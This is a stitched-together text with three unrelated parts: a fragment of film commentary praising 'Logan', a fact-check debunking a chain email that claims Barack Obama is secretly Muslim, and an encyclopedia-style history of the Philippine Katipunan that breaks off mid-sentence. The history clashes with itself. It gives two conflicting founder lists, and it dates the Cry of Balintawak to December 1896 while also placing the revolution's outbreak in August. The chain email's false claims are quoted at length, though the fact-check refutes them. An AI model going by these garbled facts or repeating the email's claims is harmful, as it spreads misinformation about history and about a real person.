all-time greats.When this topic came to call, Lauzon made a very bold claim."I think it's probably the best, and here's why: It's not trying to be a superhero movie," Lauzon explained. "There are superheroes in it, but it's not really a superhero movie. It's more of a drama than anything. In most superhero movies, like 'Superman' for example, the director tries to blow you away with how awesome his powers are. That wasn't the case here."Logan was way more about the plot and the emotional aspect of the characters. The arcs of Logan and Professor X were both incredible and it is a really good movie. I thought it was great and definitely outside the realm of the typical superhero movie."By making that call, Lauzon placed "Logan" alongside, yet over the Christopher Nolan gem "The Dark Knight," where Heath Ledger made his Oscar-winning turn as The Joker. He simply loved how Jackman's Logan and Patrick Stewart's Professor X brought it all to a close."I don't want to give too much away, but I really loved all the Professor X stuff in the movie," Lauzon said. "Everything happening with his mind was a very cool turn and I like that they kept a lot of the details secret. It all started with the trailer because they did a great job of keeping everything vague. You didn't know what was going on, didn't know who the bad guys were or what was going on with the little girl. You knew it was going to be X-23 but that was it."They made a small mention but never really made clear where the other X-Men were, but other than that I thought it was great from top to bottom. I definitely think the R-rating helped it a ton and that made me so happy because in the other films Wolverine's savagery was limited. Not the case in 'Logan' and it's a can't miss movie. I loved it."
An online rumor circulating since January 2007 alleges that Barack Obama is secretly a Muslim and has lied to the American people about his religious affiliation, including his statement that he's been a devout Christian for most of his adult life. However, the evidence indicates this is false. Analysis of Whether Barack Obama Is Muslim Barack Obama has professed to be a devout Christian and spoken publicly of his "personal relationship with Jesus Christ," for more than 20 years. Is he actually a covert Muslim who has lied his entire adult life about his true religious affiliation? No tangible proof is offered to that effect— no sightings of Obama attending a mosque, no photos of him reading the Koran, praying to Mecca, or observing Islamic holidays with his family. There is no evidence that Barack Obama has ever evinced a belief in, or commitment to, any other faith than Christianity. The entire case, such as it is, rests on a confused and error-ridden recitation of Obama's upbringing and purported childhood influences. It also exploits some Americans' fear and deep mistrust of the Muslim faith. Obama, Sr. Claim: Obama's father, Barack Hussein Obama, Sr., was a "radical Muslim who migrated from Kenya to Jakarta, Indonesia." This is false. Obama, Sr. wasn't a Muslim at all except during early childhood, let alone a "radical" Muslim. According to Obama, Jr., his father was "raised a Muslim" but lost his faith and had become a "confirmed atheist" by the time he attended college. Author Sally Jacobs (The Other Barack: The Bold and Reckless Life of President Obama's Father, New York: Public Affairs Books, 2011) writes that Obama, Sr. was exposed to Muslim teachings as a child but converted to Anglicanism around the age of 6, attended Christian schools into his teens, and was "a-religious" as an adult. Obama, Jr.'s parents separated not long after he was born; his father moving not to Jakarta but to the United States, where he attended Harvard. Eventually Obama, Sr. returned to Kenya. Obama's Mother Claim: Obama's mother went on to marry another Muslim named Lolo Soetoro who "educated his stepson as a good Muslim by enrolling him in one of Jakarta's Wahabbi schools." This is partly true. When Obama's mother remarried, it was indeed to an Indonesian man named Lolo Soetoro, who his stepson later described as a "non-practicing" Muslim. But it was his secular mother who directly supervised his education, Obama has written, sending him to both Catholic and Muslim primary schools after the family moved to Jakarta. There's nothing on record to indicate Obama attended a madrassa (Muslim religious school) run by Wahhabists. Furthermore, it's unlikely his mother would have chosen to expose him to such an extreme form of Islam given her stated abhorrence of religious closed-mindedness and her stated goal of giving her son a well-rounded education, including in matters of faith. Update: CNN tracked down the Indonesian school in question, the Basuki School in Jakarta, which a deputy headmaster describes as a "public school" with no particular religious agenda. "In our daily lives, we try to respect religion, but we don't give preferential treatment," the headmaster told CNN. A former classmate of Obama's describes the school as "general," with students of many religious backgrounds attending. Obama entered the school at the age of 8 and attended for two years. Obama Once a Muslim Claim: "Obama takes great care to conceal the fact that he is a Muslim while admitting that he was once a Muslim." This is false. Once a Muslim? When? Obama has never mentioned, let alone "admitted" being a Muslim at any point in his life. Yes, he lived in a Muslim country during part of his childhood, but there's no evidence he was literally raised in the Muslim faith, nor has he ever been a practitioner of Islam, so far as any public evidence shows. See also: Is There a Photo of Barack Obama Praying at a Mosque? Obama and the Koran Claim: When Obama was sworn into office (as a Senator) he used the Koran instead of the Bible. This is false. According to news accounts, Barack Obama brought his personal Bible to his 2005 Senate swearing-in ceremony, conducted by Vice-President Dick Cheney. Those alleging otherwise are apparently confusing Obama with Congressman Keith Ellison, who actually is a Muslim, and who posed for photographs with his hand on the Koran after being sworn into the House of Representatives on January 4, 2007. Sample Email About Barack Obama as a Muslim Here's sample email text contributed by Bill W. on Jan. 15, 2007: Subject: Fwd: Be careful, be very careful. Barack Hussein Obama was born in Honolulu, Hawaii to Barack Hussein Obama Sr. (a black Muslim) of Nyangoma-Kogelo, Siaya District, Kenya, and Ann Dunham of Wichita, Kansas (a white atheist). When Obama was two years old, his parents divorced and his father returned to Kenya. His mother married Lolo Soetoro -- a Muslim -- moving to Jakarta with Obama when he was six years old. Within six months he had learned to speak the Indonesian language. Obama spent "two years in a Muslim school, then two more in a Catholic school" in Jakarta. Obama takes great care to conceal the fact that he is a Muslim while admitting that he was once a Muslim, mitigating that damning information by saying that, for two years, he also attended a Catholic school. Obama's father, Barack Hussein Obama, Sr. was a radical Muslim who migrated from Kenya to Jakarta, Indonesia. He met Obama's mother, Ann Dunham - a white atheist from Wichita, Kansas - at the University of Hawaii at Manoa. Obama, Sr. and Dunham divorced when Barack, Jr. was two. Obama's spinmeisters are now attempting to make it appear that Obama's introduction to Islam came from his father and that influence was temporary at best. In reality, the senior Obama returned to Kenya immediately following the divorce and never again had any direct influence over his son's education. Dunham married another Muslim, Lolo Soetoro who educated his stepson as a good Muslim by enrolling him in one of Jakarta's Wahabbi schools. Wahabbism is the radical teaching that created the Muslim terrorists who are now waging Jihad on the industrialized world. Since it is politically expedient to be a Christian when you are seeking political office in the United States, Obama joined the United Church of Christ to help purge any notion that he is still a Muslim. Sources and Further Reading
The Kataas-taasan, Kagalang-galang, Katipunan ng mga Anak ng Bayan[1] ("Supreme and Venerable Society of the Children of the Nation", Spanish: Suprema y Venerable Asociación de los Hijos del Pueblo), also known as Katipunan or KKK,[5] was a Philippine revolutionary society founded by anti-Spanish colonialism Filipinos in Manila in 1892; its primary goal was to gain independence from Spain through a revolution. Documents discovered in the 21st century suggest that the society had been organized as early as January 1892 but may not have become active until July 7 of the same year; that was the date that Filipino writer José Rizal was to be banished to Dapitan. Founded by Filipino patriots Andrés Bonifacio, Teodoro Plata, Ladislao Diwa, Darilyo Valino, Rulfo Guia, Dano Belica, Tiburcio Liamson, and Gabrino Manzanero, the Katipunan was a secret organization until it was discovered in 1896. This discovery led to the outbreak of the Philippine Revolution. The Tagalog word "katipunan", literally meaning 'association' or 'assembly', comes from the root word "tipon", a Tagalog word meaning "gather"."[6][not in citation given] Being a secret organization, its members were subjected to the utmost secrecy and were expected to abide by the rules established by the society.[6] Aspiring applicants were given standard initiation rites in order to become members of the society. At first, membership in the Katipunan was only open to male Filipinos; later, women were accepted into the society. The Katipunan had its own publication, Kalayaan (Liberty) which issued its first and last printing in March 1896. Revolutionary ideals and works flourished within the society, and Filipino literature was expanded by some of its prominent members. In planning the revolution, Bonifacio contacted Rizal for his full-fledged support for the Katipunan in exchange for a promise to rescue Rizal from his detention. In May 1896, a delegation was sent to Emperor Meiji of Japan in order to solicit funds and military arms. The Katipunan's existence was revealed to the Spanish authorities after a member named Teodoro Patiño revealed the Katipunan's illegal activities to his sister, and finally to the mother portress of Mandaluyong Orphanage. Seven days after the Spanish authorities learned of the existence of the secret society, on December 26, 1896, Bonifacio and his men tore up their cédulas during the Cry of Balintawak that started the Philippine Revolution of 1896. Etymology [ edit ] The name "Katipunan" comes from the full Tagalog name for the society: "Kataas-taasan, Kagalang-galang na Katipunan ng mga Anak ng Bayan" (Supreme and Honorable Society of the Children of the Nation).[7] The Tagalog word "katipunan", literally meaning 'association' or 'assembly', comes from the root word "tipon", a Tagalog word meaning "gather". Formation [ edit ] History [ edit ] The Katipunan and the Cuerpo de Compromisarios were, effectively, successor organizations of La Liga Filipina, founded by José Rizal (Who himself was inspired by the martyrdom of his predecessors, the nationalist Priests: Gomez, Burgos and Zamora). This organization was part of the late 19th century Propaganda Movement in the Philippines. The founders of the Katipunan were Deodato Arrellano, Teodoro Plata, Valentin Diaz, Ladislao Diwa, Andres Bonifacio, and Jose Dizon. Katipunan founders Bonifacio, Diwa, and Plata were all members of La Liga and were influenced by the nationalistic ideals of the Propaganda Movement in Spain.[8] Marcelo H. del Pilar, another leader of the Propaganda Movement in Spain, also influenced the formation of the Katipunan. Modern-day historians believe that he had a direct hand in its organization because of his role in the Propaganda Movement and his eminent position in Philippine Masonry; most of the Katipunan's founders were freemasons[citation needed]. The Katipunan had initiation ceremonies that were copied from masonic rites. It also had a hierarchy of rank that was similar to that of freemasonry. Rizal's Spanish biographer Wenceslao Retana and Filipino biographer Juan Raymundo Lumawag saw the formation of the Katipunan as Del Pilar's victory over Rizal: "La Liga dies, and the Katipunan rises in its place. Del Pilar's plan wins over that of Rizal. Del Pilar and Rizal had the same end, even if each took a different road to it."[citation needed] Founding of the Katipunan [ edit ] Seal of the Katipunan. The initials are read as "Kataas-taasang Kagalang-galangang Katipunan ng mga Anak ng Bayan." Captured Katipunan members (also known as Katipuneros), who were also members of La Liga, revealed to the Spanish colonial authorities that there was a difference of opinion among members of La Liga. One group insisted on La Liga's principle of a peaceful reformation while the other espoused armed revolution.[9] On July 7, 1892, writer José Rizal was banished and exiled to Dapitan in Mindanao. That night Bonifacio, a member of the La Liga Filipina; with Plata, Diwa, Diaz, Arellano, and Dizon, founded the Katipunan in a house on Azcarraga St. (now Recto Avenue) near Elcano Street in San Nicolas, Manila.[10][11][12] They established the Katipunan when anti-Spanish Filipinos had realized that societies such as the La Liga Filipina would be suppressed by colonial authorities.[13] Despite their reservations about the peaceable reformation that Rizal espoused, they named Rizal as honorary president, without his knowledge. The Katipunan, established as a secret brotherhood organization, was known as the Kataas-taasang, Kagalang-galangang Katipunan ng̃ mg̃á Anak ng̃ Bayan (Supreme and Venerable Society of the Children of the Nation).[14] The Katipunan had four aims, namely: to develop a strong alliance with each and every Katipunero to unite Filipinos into one solid nation; to win Philippine independence by means of an armed conflict (or revolution); [15] to establish a republic after independence.[16] The rise of the Katipunan signaled the end of the crusade to secure reforms from Spain by means of a peaceful campaign. The Propaganda Movement led by Rizal, del Pilar, Jaena and others had failed its mission; hence, Bonifacio started the militant movement for independence. Organization [ edit ] Administration [ edit ] The Katipunan was governed by the Supreme Council (Tagalog: Kataas-taasang Sanggunian).[17] The first Supreme Council of the Katipunan was formed around August 1892, a month after the founding of the society. The Supreme Council was headed by an elected president (Pangulo), followed by the secretary/secretaries (Kalihim); the treasurer (Tagaingat-yaman) and the fiscal (Tagausig).[18] The Supreme Council also had its councilors (Kasanguni); the number varied through presidencies.[18] To distinguish from presidents of lower sanggunian or councils (below) the president of the Supreme Council was called the Supreme President (Tagalog: Kataas-taasang Pangulo; Spanish: Presidente Supremo).[19] At the outbreak of the 1896 revolution, the Council was further reorganized into a 'cabinet' which the Katipunan regarded as a genuine revolutionary government, de facto and de jure.[20] In each province where there were Katipunan members, a provincial council called Sangguniang Bayan was established and in each town was an organized popular council called Sangguniang Balangay. Each Bayan and Balangay had its own set of elected officials: Pangulo (president); Kalihim (secretary); Tagausig (fiscal); Tagaingat-yaman (treasurer); Pangalawang Pangulo (vice president); Pangalawang Kalihim (vice secretary); mga kasanguni (councilors); Mabalasig (terrible brother); Taliba (guard); Maniningil (collector/auditor); Tagapamahala ng Basahan ng Bayan(custodian of the People's Library); Tagapangasiwa (administrator); Manunulat (clerk); Tagatulong sa Pagsulat (assistant clerk); Tagalaan (warden); and Tagalibot (patroller).[18] Each Balangay were given a chance to expand their own spheres of influence, through triangle system in order to elevate their status to Sangguniang Bayan.[18] Every Balangay that did not gain Sanggunian Bayan status were dissolved and annexed by greater provincial or popular councils.[18] The towns/cities which supported the Katipunan cause were given symbolic names, such as Magdiwang (To celebrate) for Noveleta; Magdalo (To come) for Kawit; Magwagi (To win) for Naic; Magtagumpay (To succeed) for Maragondon; Walangtinag (Never-diminished) for Indang and Haligue (Wall) for Imus–all are in the province of Cavite.[21] Within the society functioned a secret chamber, called Camara Reina,[22] which was presided over by Bonifacio, Jacinto, and Pío Valenzuela. This mysterious chamber passed judgment upon those who had betrayed their oath and those accused of certain offenses penalized by Katipunan laws. Every katipunero stood in fearful awe of this chamber. According to José P. Santos, throughout the existence of the secret chamber, about five katipuneros were convicted and sentenced to die by it. The death sentence was handed down in the figure of a cup with a serpent coiled around it.[23] History of administration [ edit ] In 1892, after the Katipunan was founded, the members of the Supreme Council consisted of Arellano as president, Bonifacio as comptroller, Diwa as fiscal, Plata as secretary and Díaz as treasurer.[24] In 1893, the Supreme Council comprised Ramón Basa as president, Bonifacio as fiscal, José Turiano Santiago as secretary, Vicente Molina as treasurer and Restituto Javier, Briccio Pantas, Teodoro Gonzales. Gonzales, Plata, and Diwa were councilors.[24] It was during Basa's term that the society organized a women's auxiliary section. Two of its initial members were Gregoria de Jesús, whom Bonifacio had just married, and Marina Dizon, daughter of José Dizon. It was also in 1893 when Basa and Diwa organized the provincial council of Cavite, which would later be the most successful council of the society. The Filipino scholar Maximo Kalaw reports that Basa yielded the presidency to Bonifacio in 1894 because of a dispute over the usefulness of the initiation rites and Bonifacio's handling of the society's buts. Basa contested Bonifacio's practice of lending their funds to needy members, complete with promissory notes.[25][26] Moreover, Basa refused to induct his son into the organization. It was also in 1894 when Emilio Jacinto, a nephew of Dizon who was studying law at the University of Santo Tomas, joined the Katipunan. He intellectualized the society's aims and formulated the principles of the society as embodied in its primer, called Kartilla. It was written in Tagalog and all recruits were required to commit it to heart before they were initiated. Jacinto would later be called the Brains of the Katipunan. At the same time, Jacinto also edited Kalayaan (Freedom), the society's official organ, but only one edition of the paper was issued; a second was prepared but never printed due to the discovery of the society. Kalayaan was published through the printing press of the Spanish newspaper Diario de Manila. This printing press and its workers would later play an important role in the outbreak of the revolution. In 1895, José Turiano Santiago, a close personal friend of Bonifacio, was expelled because a coded message of the Katipunan fell into the hands of a Spanish priest teaching at the University of Santo Tomas. Since the priest was a friend of Santiago's sister, he and his half-brother Restituto Javier were suspected of betrayal, but the two would remain loyal to the Katipunan and Santiago would even join the Philippine revolutionary forces in the Philippine–American War. Jacinto replaced Santiago as secretary. A Katipunan officer's sword. In early 1895, Bonifacio called a meeting of the society and deposed Basa in an election that installed Bonifacio as president, Jacinto as Fiscal, Santiago as secretary, Molina as secretary, Pío Valenzuela and Pantaleon Torres as physicians, and Aguedo del Rosario and Doreteo Trinidad as councilors.[27] On December 31, 1895, another election named Bonifacio as president, Jacinto as Fiscal, Santiago as secretary, Molina as secretary, Pío Valenzuela and Pantaleon Torres as physicians, and Aguedo del Rosario and Doreteo Trinidad as councilors.[28] The members of the Supreme Council in 1895 were Bonifacio as president, Valenzuela as fiscal and physician, Jacinto as secretary, and Molina as treasurer. Enrico Pacheco, Pantaleon Torres, Balbino Florentino, Francisco Carreón and Hermenegildo Reyes were named councilers.[28] Eight months later, in August 1896, the fifth and last supreme council was elected to renamed offices. Bonifacio was named Supremo, Jacinto Secretary of State, Plata Secretary of War, Bricco Pantas Secretary of Justice, Aguedo del Rosario Secretary of Interior and Enrice Pacheco Secretary of Finance.[28] Members [ edit ] Katipuneros. A late 19th century photograph of armed Filipino revolutionaries, known as the Over the next four years, the Katipunan founders would recruit new members. By the time the society was uncovered, the American writer James Le Roy estimated the strength of the Katipunan at 100,000 to 400,000 members. Historian Teodoro Agoncillo estimated that the membership had increased to around 30,000 by 1896.[29] The Ilocano writer Isabelo de los Reyes estimated membership at 15,000 to 50,000. Aside from Manila, the Katipunan also had sizeable chapters in Batangas, Laguna, Cavite, Rizal, Bulacan, Pampanga, Tarlac and Nueva Ecija. There were also smaller chapters in Ilocos Sur, Ilocos Norte, Pangasinan and the Bicol region. The Katipunan founders spent their free time recruiting members. For example, Diwa, who was a clerk at a judicial court, was assigned to the office of a justice of the peace in Pampanga. He initiated members in that province as well as Bulacan, Tarlac, and Nueva Ecija. Most of the Katipuneros were plebeian although several wealthy patriots joined the society and submitted themselves to the leadership of Bonifacio. Katipunero (plural, mga Katipunero) is the demonym of a male member of the Katipunan. Katipunera (plural, mga Katipunera) refers to female members. Triangle system and grades [ edit ] Two infographs depicting the ranks within the Katipunan and the Triangle system of recruitment. It was the original plan of Bonifacio to increase the membership of the Katipunan by means of sistemang patatsulok or triangle system. He formed his first triangle with his two comrades, Teodoro Plata and Ladislao Diwa. Each of them re-instituted Katipunan thoughts into another two new converts. The founder of the triangle knew the other two members, but the latter did not know each other. In December 1892 the system was abolished after proving it to be clumsy and complicated.[30] A new system of initiation, modelled after the Masonic rites was then adopted.[31] When the Katipuneros had expanded to more than a hundred members, Bonifacio divided the members into three grades: the Katipon (literally: Associate) which is the lowest rank, the Kawal (soldier), and the Bayani (Hero or Patriot). In the meeting of the society, Katipon wore a black hood with a triangle of white ribbon having the letters "Z. Ll. B.", corresponding to the roman "A. N. B.", meaning Anak ng̃ Bayan (Son of the People, see below). Kawal wore a green hood with a triangle having white lines and the letters "Z. LL. B." at the three angles of the triangle, and also wore a green ribbon with a medal with the letter (ka) in Baybayin script above a depiction of a crossed sword and flag. The password was Gom-Bur-Za, taken from the names of the three martyrs Mariano Gomez, Jose Burgos and Jacinto Zamora. Bayani (Hero) wore a red mask and a sash with green borders, symbolizing courage and hope. The front of the mask had white borders that formed a triangle with three Ks arranged as if occupying the angles of a triangle within a triangle, and with the letters "Z. Ll. B." below. Another password was Rizal. Countersigns enabled members to recognize one another on the street. A member meeting another member placed the palm of his right hand on his breast and, as he passed the other member, he closed the hands to bring the right index finger and thumb together.[32] Color designations: Katipon . First degree members. Other symbols: Black hood, revolver and/or bolo. . First degree members. Other symbols: Black hood, revolver and/or bolo. Kawal . Second degree members. Other symbols: green ribboned-medallion with Malayan K inscription. . Second degree members. Other symbols: green ribboned-medallion with Malayan inscription. Bayani. Third degree members. Other symbols: Red hood and sash, with green borders. Katipon could graduate to Kawal class by bringing several new members into the society. A Kawal could become a Bayani upon being elected an officer of the society.[33] Membership [ edit ] Any person who wished to join the Katipunan was subjected to certain initiation rites, resembling those of Masonic rites, to test his courage, patriotism, and loyalty.[34] New recruits underwent the initiation rite three at a time so that no member knew more than two other members of the society. The neophyte was first blindfolded and then led into a dimly lighted room with black curtains where his folded cloth was removed from his eyes. An admonition, in Tagalog, was posted at the entrance to the room: Kung may lakás at tapang, ìkaw'y makatutuloy![35] (If you have strength and valor, you can proceed!) Kung ang pag-uusisa ang nagdalá sa iyó dito'y umurong ka.[35] If what has brought you here is only curiosity–go away! Kung di ka marunong pumigil ng̃ iyong masasamang hilig, umurong ka; kailan man ang pintuan ng̃ May-kapangyarihan at Kagalanggalang Katipunan ng̃ mg̃á Anak ng̃ Baya'y hindi bubuksan nang dahil sa iyó.[35] If you cannot control your vices, retire. Never shall the doors of the Supreme and Venerable Society of the Sons of the People be opened to you. Inside the candle-lit room, they would be brought to a table adorned with a skull and a bolo. There, they would condemn the abuses of the Spanish government and vow to fight colonial oppression:[36][37] 1. ¿Anó ang kalagayan nitóng Katagalugan[38] nang unang panahun? (In what condition did the Spaniards find the Tagalog land when they came?) (Expected answer) "When the Spaniards came to the Philippine shores on March 16, 1521, the Filipinos were already in a civilized state. They had freedom of government; they had artillery; they had silk dresses; they had carried on commerce with Asia; they had their own religion and their own alphabet. In short, they had liberty and independence." 2. ¿Anó ang kalagayan sa ngayón? (In what condition do they find themselves now?) (Expected answer) "The friars have not really civilized the Filipinos, since enlightenment was contrary to their interests. The Filipinos (called Tagalogs by the Katipunan) were merely superficially taught formulas of Catechism for which they paid numerous costly fiestas for the benefit of the friars." 3. ¿Anó ang magiging kalagayan sa darating na panahun? (What hopes do they have for the future?) (Expected answer) "With faith, valor, and perseverance, these evils will be remedied." During Bonifacio's time, all of the Filipino people are referred collectively by the Katipunan as Tagalogs, while Philippines is Katagalugan.[37] The next step in the initiation ceremony was the lecture given by the master of ceremonies, called Mabalasig/Mabalasik (terrible brother), who informed the neophyte to withdraw if he lacked courage since he would be out of place in the patriotic society. If the neophyte persisted, he was presented to the assembly of the brethren, who subjected him to various ordeals such as blindfolding him and making him shoot a supposedly a revolver at a person, or forcing him to jump over a supposedly hot flame. After the ordeals came to final rite–the pacto de sangre or blood compact–in which the neophyte signed the following oath with the blood taken from his arm: Ako'y si ______________, Nanunumpa sa ngalan ng Dios at ng bayan na ipagtatanggol ng buong katapangan ang mga kadahilanan ng K.K.K ng mga A.ng B., ingatan ang kanyang lihim na mamasdan at mapakinggan, sundin siya ng pikit mata, saklolohan ang lahat na mga kasama sa lahat na panganib at pagkakailangan nila, Nanunumpa at nangangako rin naman ako na mag pitagan sa kanilang mga Pinuno, huag na magtaksil sa kanilang mga kautusan at bilin at tatalaan kong aking dugo na kusang ibububo dito sa kasulatang hinaharap.[39] I,_______________, swear in the name of God and to the country to defend the cause of the K.K.K. of the A.of B., with all my courage, to keep secret whatever I witness and hear, to follow orders blindly, and to support all my brethren against every danger and exigency. I also swear and pledge to respect the leaders, not to betray them, their orders of instructions, and so I attest with my blood, which is shed here in this document He was then accepted as a full-pledged member, with a symbolic name by which he was known within Katipunan circles. Bonifacio's symbolic name was Maypagasa; Jacinto was Pingkian and Artemio Ricarte was Vibora. Admission of women to the society [ edit ] At first, Katipunan was purely a patriotic society for men. Owing to the growing suspicion of the women regarding nocturnal absences of their husbands, the reduction of their monthly earnings and "long hours of work", Bonifacio had to bring them into the realms of the KKK. A section for women was established in the society: to become admitted, one must be a wife, a daughter, or a sister of a male katipunero. It was estimated that from 20 to 50 women had become members of the society.[40] The first woman to become member of the Katipunan was Gregoria de Jesús, wife of Bonifacio.[40] She was called the Lakambini ng Katipunan (Princess of the Katipunan).[41] Initially, there were 29 women were admitted to the Katipunan: Gregoria de Jesús, Marina Dizon, president of the women's section; Josefa and Trinidad Rizal, sisters of Dr. José Rizal; Angelica Lopez and Delfina Herbosa Natividad, close relatives of Dr. Rizal; Carmén de Rodriguez; Marina Hizon; Benita Rodriguez; Semiona de Rémigio; Gregoria Montoya; Agueda Kahabagan, Teresa Magbanua, Trinidad Tecson, rendered as "Mother of Biak-na-Bato";[42] Nazaria Lagos; Patronica Gamboa; Marcela Agoncillo; Melchora Aquino, the "Grand Old Woman of Balintawak";[42] Marta Saldaña and Macaria Pañgilinan.[43] The women rendered valuable services to the Katipunan.[44] They guarded the secret papers and documents of the society. Whenever the Katipunan held sessions in a certain house, they usually made merry, singing and dancing with some of the men in the living room so that the civil guard were led that there was nothing but a harmless social party within.[40] Though women are considered to be members of the Katipunan, information regarding the women's section were scarce and sometimes conflicting.[18] Teodoro Agoncillo, for example, disregarded Marina Dizon and concluded that Josefa Rizal was the only president of the said section.[45] Gregorio Zaide, on the other hand, mentioned Dizon's presidency in his 1939 publication History of the Katipunan[46] but changed his mind when he adopted Dr. Pío Valenzuela's notion that women-members did not elect officers, hence there is no room for president.[47] Foreign members of the Katipunan [ edit ] Attracted by the universal appeal of the Katipunan's Kartilya, there were several members who were not native Filipinos at all yet joined the Katipunan and/or, later, the Philippine Revolutionary Army (PRA) in the spirit of national liberation. Among the foreign-born Katipuneros were: General Juan Cailles, an Indian (From India) and French[48] mestizo, General Jose Ignacio Paua[49] who was a full-blooded Chinese and the famous African-American, PRA Captain David Fagen who defected from the Americans to join the Filipinos due to his disgust of racism and imperialism. Notable Katipuneros [ edit ] Literature of the society [ edit ] The triumvirate of Katipunan (from left to right): Bonifacio, Jacinto, and Valenzuela. Written works [ edit ] During Katipunan's existence, literature flourished through prominent writers of the Katipunan: Andrés Bonifacio, Emilio Jacinto and Dr. Pío Valenzuela. Each of the three's works were stirring literature of patriotism and are aimed to spread the revolutionary thoughts and ideals of the society.[52] Bonifacio works. Probably one of the best works done inside the Katipunan was written by Andrés Bonifacio, the Pag-ibig sa Tinubuang Lupa (Love of Fatherland),[53] a poem of sincere patriotic sentiment. Pag-ibig was published in the Kalayaan only issue of January 1896 under his nom-de-plume Agapito Bagumbayan. According to Manuel Artigas y Cuerva, the name Agapito Bagumbayan was a corruption of combination agap-ito, bagum-bayan, which, if translated from Tagalog to English word by word, means "the new nation is here, and ready.[54][55] There is no known original source of Pag-ibig, especially that there is no surviving Kalayaan issue. The two available texts accessible reprinted through books is the one published by Jose P. Santos in 1935. The other one, with familiar discrepancies to Santos' print, was archived in military annals of Madrid.[54] After Rizal's execution at Bagumbayan on December 30, 1896, Bonifacio wrote the first Tagalog translation of the former's Mi último adiós (Final Farewell), in which he gave the name Pahimakas (Farewell). He also wrote the prose Katungkulang Gagawin ng mga Z. Ll. B. (Duties of the Sons of the People), that was never published because he believed that Jacinto's Kartilya was superior than his.[56] Bonifacio also wrote Ang Dapat Mabatid ng Mga Tagalog (What the Tagalogs Should Know), which is a politic-historical essay. During the infamous Cry of Balintawak, Valenzuela had the position as physician-general of the Katipunan.[58] Kalayaan [ edit ] The printing machine used by the First Philippine Republic (now the Case Real Shrine), where the newspapers La Independencia, El Heraldo de la Revolucion, Kalayaan, and Kaibingan ng Bayan were printed. During the Japanese occupation, the "Bulacan Military Area", under Capt. Alejo Santos , used this machine, against the Japanese. "Ang Kalayaan" redirects here. For other uses, see Kalayaan (disambiguation) Kalayaan (Liberty/Freedom) was the official organ and newspaper of the Katipunan. It was first published March 1896 (even though its masthead was dated January 1896.)[59] The first Kalayaan issue has never been followed. In 1895, the Katipunan bought an old hand-press with the money generously donated by two Visayan co-patriots Francisco del Castillo and Candido Iban–who returned to the country after working as shell and pearl divers in Australia and had some money from a lottery win.[59][60] They bought the press and a small quantity of types from Antonio Salazar's "Bazar del Cisne" on Calle Carriedo, and Del Castillo transported it to the house of Andrés Bonifacio in Santa Cruz, Manila.[59] On January 1, 1896, Valenzuela accepted the position as the Katipunan "fiscal" in exchange of Bonifacio's consent to send the printing press on his house in Calle de Lavezares, San Nicolas, Manila, "so that he could assist and edit a monthly publication which would be the Katipunan's main organ".[59] Bonifacio agreed, and on mid-January, the press was delivered in San Nicolas. The name Kalayaan was suggested by Dr. Pío Valenzuela, which was agreed both by Bonifacio and Emilio Jacinto.[57] Even though Valenzuela was chosen to become the editor of the organ, they all decided to use the name of Marcelo H. del Pilar as its editor. To fool the Spanish authorities, the Kalayaan was also decided to carry a false masthead stating that it was being printed in Yokohama, Japan.[61] That very same month, January 1896, the publication of Kalayaan began. Valenzuela expected to complete it by the end of the month and so it was dated as such.[59] The existence of the press was kept in utmost secrecy. Under the supervision of Valenzuela, two printers, Faustino Duque, a student from Colegio de San Juan de Letran, and Ulpiano Fernández, a part-time printer at El Comercio, printed the revolutionary literature of the society and Kalayaan. When Valenzuela was appointed the physician-general of the Katipunan, he passed on his editorial duties to Jacinto. Jacinto edited the articles after his pre-law classes in University of Santo Tomas. Since the press was in the old orthography and not in the new "Germanized" alphabet, as called by the Spaniards, there were no Tagalog letters such as "k", "w", "h" and "y". To solve this problem, Jacinto obliged his mother, Josefa Dizon, to buy typefaces that resembled such letters.[59] The typefaces used in its printing were purchased from publisher Isabelo de los Reyes, but many were taken surreptitiously from the presses of the Diario de Manila by Filipino employees who were also members of the Katipunan.[61] According to Valenzuela, the printing process was so laborious that setting eight pages required two months to complete.[59] For weeks, Jacinto, Duque and Fernández (and sometimes Valenzuela) took turns in preparing the pages of the Kalayaan, which was approximately nine by twelve inches in size.[57] In March 1896, the first copies of the January 1896 issue were secretly circulated with about 2,000 copies, according to Valenzuela.[62] According to Epifanio de los Santos, only 1,000 copies were printed: 700 were distributed by Bonifacio, 300 by Aguinaldo, and some 100 by Valenzuela himself.[59][63] The first issue contained a supposed editorial done by del Pilar, which, in fact, were done by Jacinto himself. It also included Bonifacio's Pag-ibig sa Tinubuang Lupa, Valenzuela's Catuiran? and several works that exposed Spanish abuses and promoted patriotism.[57] Copies spread to nearby Manila provinces, including Cavite, Morong (now Rizal), Kalookan, and Malabon. Surprised by this initial success, Jacinto decided to print a second issue that would contain nothing but his works.[57] In August 1896, the second issue was prepared. It was during this time that Spanish authorities began to grow wary of anti-government activities and, suspecting the existence of a subversive periodical in circulation (see below), raided the place where Kalayaan was being printed, at No. 6 Clavel Street, San Nicolas, Manila.[57] Fortunately, the printers Duque and Fernández were warned in time, destroyed the incriminating molds and escaped. Therefore, Spanish authorities never found any evidence of the Kalayaan.[61] Kartilya ng Katipunan [ edit ] The teachings of the Katipunan were embodied in a document entitled Kartilya ng Katipunan,[64] a pamphlet printed in Tagalog language. Copies of which were distributed among the members of the society. Kartilya was written by Emilio Jacinto, and later revised by Emilio Aguinaldo. The revised version consists of thirteen teachings (though some sources, such as the one provided by Philippine Centennial Commission, list only twelve[35]). The term kartilya was derived from Spanish cartilla, which was a primer for grade school students before going to school at that time.[65] Language and alphabet [ edit ] According to Filipino writer and historian Hermenegildo Flores, the official language of the Katipunan is Tagalog, and uses an alphabet nearly similar to Spanish alphabet but has different meaning and the way it was read was changed. Diacritics were added, to emphasize the existence of ng and mga on Tagalog orthography. The following is an excerpt from Flores' Kartilyang Makabayan: Mga Tanong at Sagot Ukol Kay Andrés Bonifacio at sa KKK (English: Nationalist Primer: Questions and Answers about Andrés Bonifacio and KKK, Manila, 1922):[66] 30. Anong wika ang ginagamit ng̃ mg̃á kasapi sa Katipunan? Ang tagalog; n͠guni't ang kahulugan ng̃ ilang titik ng̃ abakadang kastilà ay iniba sa kanilang pagsulat ng̃ mg̃á kasulatan at gayon din sa paglagdá ng̃ kanilang mg̃á sagisag. Ang titik na "a" ay ginawang "z", ang "c" at "q" ay ginawang "k", ang "i" ay "n", ang "l" at "ll" ay "j" ang "m" ay "v", ang "n" ay "ll", ang "o" ay "c" at ang "u" ay "x". Ang f, j, v, x at z ng̃ abakadang kastilà ay itinakwil pagka't hindi kailan͠gan. Sa maliwanag na ulat ay ganitó ang Abakadá (alfabeto) ng̃ "Katipunan" kung itutulad sa 